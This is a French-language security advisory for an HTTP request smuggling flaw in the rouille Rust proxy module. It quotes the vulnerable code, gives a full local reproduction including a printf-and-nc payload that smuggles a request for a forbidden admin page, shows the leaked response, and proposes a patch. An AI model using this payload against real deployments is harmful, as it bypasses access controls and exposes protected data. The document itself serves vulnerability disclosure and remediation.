
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
Identifiant CVE assigné : CVE-2026-67182
rouille::proxy::proxy et rouille::proxy::full_proxy copient les valeurs d'en-têtes de requête fournies par le client dans la connexion amont sans vérifier qu'elles contiennent des caractères de contrôle. Une valeur d'en-tête peut légitimement contenir un saut de ligne nu (0x0A), car l'analyseur d'en-têtes sous-jacent de tiny_http ne termine une ligne d'en-tête que sur CRLF. Les backends qui acceptent un LF nu comme terminateur de ligne lisent donc une requête frontale comme deux.
La seconde requête est entièrement contrôlée par l'attaquant, y compris sa méthode et son chemin, et ne passe jamais par le gestionnaire rouille qui a décidé de proxifier la première. Son corps de réponse est également renvoyé à l'attaquant.
URL du dépôt : https://github.com/tomaka/rouille
| Première version affectée | 0.3.3 (2016-12-03), la version qui a introduit src/proxy.rs |
| Dernière version affectée | 3.6.2 (2023-04-24), la version actuelle |
| Non affectées | 0.3.2 et antérieures, qui n'ont pas de module proxy |
| Corrigée dans | aucune version corrigée au moment de la rédaction |
Chaque version publiée de 0.3.3 à 3.6.2 contient le code non modifié. Le
fichier src/proxy.rs est octet pour octet identique entre le tag 3.6.2 et la
branche master actuelle.
Seules les applications qui appellent proxy::proxy ou proxy::full_proxy sont affectées.
CWE-444 (Interprétation incohérente des requêtes HTTP), atteinte via CWE-113 (Neutralisation inadéquate des séquences CRLF dans les en-têtes HTTP).
Score de base CVSS 4.0 : 6,9 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
L'attaquant est un client distant, non authentifié, qui peut envoyer du HTTP brut à un serveur rouille. Aucun identifiant, aucune interaction utilisateur et aucune position sur le réseau entre les composants ne sont requis.
Le déploiement à risque est une application rouille agissant comme proxy inverse qui
prend une décision de sécurité (routage, authentification, autorisation ou filtrage de
contenu) avant d'appeler proxy(), devant un backend dont l'analyseur HTTP
accepte un LF nu comme terminateur de ligne d'en-tête.
Comportement mesuré des backends :
nginx et Apache n'ont pas été testés. La RFC 9112 section 2.2 permet à un destinataire de reconnaître un LF isolé comme terminateur de ligne, donc les backends acceptants se comportent conformément à la spécification.
rouille/src/proxy.rs, lignes 157 à 174 :
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
La ligne 171 est le puits. value n'est pas fiable et est écrite sans validation.
La donnée contaminée entre par tiny_http. Dans
tiny_http-0.12.0/src/client.rs, lignes 80 à 102, une ligne d'en-tête ne se termine que lorsqu'un
LF suit un CR :
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
Un LF isolé franchit la ligne 100 et est poussé dans le tampon de ligne. LF est un
ASCII valide, donc AsciiString::from_ascii l'accepte. Header::from_str dans
tiny_http-0.12.0/src/common.rs ligne 184 ne fait ensuite que retirer les espaces de la valeur, ce qui
supprime les espaces de début et de fin mais laisse les octets internes intacts :
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
Le résultat est une valeur d'en-tête rouille contenant un \n brut, que la ligne 171 de
proxy.rs écrit directement dans la requête amont.
Connection: close sur la ligne 173 ne limite pas les dégâts. La ligne vide injectée
termine la première requête avant que la ligne 173 ne s'exécute, donc cet en-tête est absorbé
dans la requête clandestine. La première requête ne porte aucun en-tête Connection et
retombe par défaut sur le keep-alive HTTP/1.1, ce qui est exactement ce qui permet au backend de continuer à
traiter la seconde.
Étape 1. Créez une racine de documents backend avec un fichier public et un fichier que le proxy est censé protéger.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
Étape 2. Démarrez un backend keep-alive sur le port 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
Étape 3. Démarrez le frontal rouille sur le port 8000. Il proxifie /public/ et
refuse tout le reste.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Étape 4. Confirmez que le contrôle d'accès fonctionne.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
Étape 5. Envoyez une seule requête pour le chemin autorisé avec un LF nu dans une
valeur d'en-tête. Dans la commande ci-dessous, \n est un saut de ligne nu et \r\n est un
CRLF. La distinction constitue tout l'attaque, donc ne laissez pas un éditeur la normaliser.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
Résultat. Le journal du backend montre deux requêtes, la seconde étant le chemin que le frontal a refusé à l'étape 4 :
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
L'attaquant reçoit également le contenu protégé, car src/proxy.rs ligne
224 transforme le reste de la socket amont en corps de réponse :
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
Un client non authentifié peut émettre une requête arbitraire vers le backend et lire sa
réponse, tandis que le gestionnaire rouille ne voit jamais que la requête autorisée.
Cela neutralise le contrôle d'accès basé sur le chemin, l'authentification effectuée dans le gestionnaire,
et toute inspection de requête réalisée avant l'appel à proxy().
Deux limites méritent d'être mentionnées. proxy() ouvre une nouvelle connexion TCP par requête
et ne fait pas de mise en commun, donc cela ne permet pas l'empoisonnement de file d'attente de requêtes
inter-utilisateurs associé à la contrebande classique. L'attaque nécessite également un backend tolérant au LF,
comme mesuré ci-dessus.
Rejetez les noms et valeurs d'en-têtes qui contiennent des caractères de contrôle avant de les
écrire en amont. Dans src/proxy.rs, à l'intérieur de la boucle à la ligne 157 :
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| Backend | Version testée | Accepte le LF injecté |
|---|
Go net/http | go1.26.4 | oui, sert la requête clandestine |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | oui, sert la requête clandestine |
| Node.js | v26.3.0 | non, renvoie 400 (mode strict llhttp) |
| Serveur intégré PHP | 8.5.8 | non, ferme la connexion |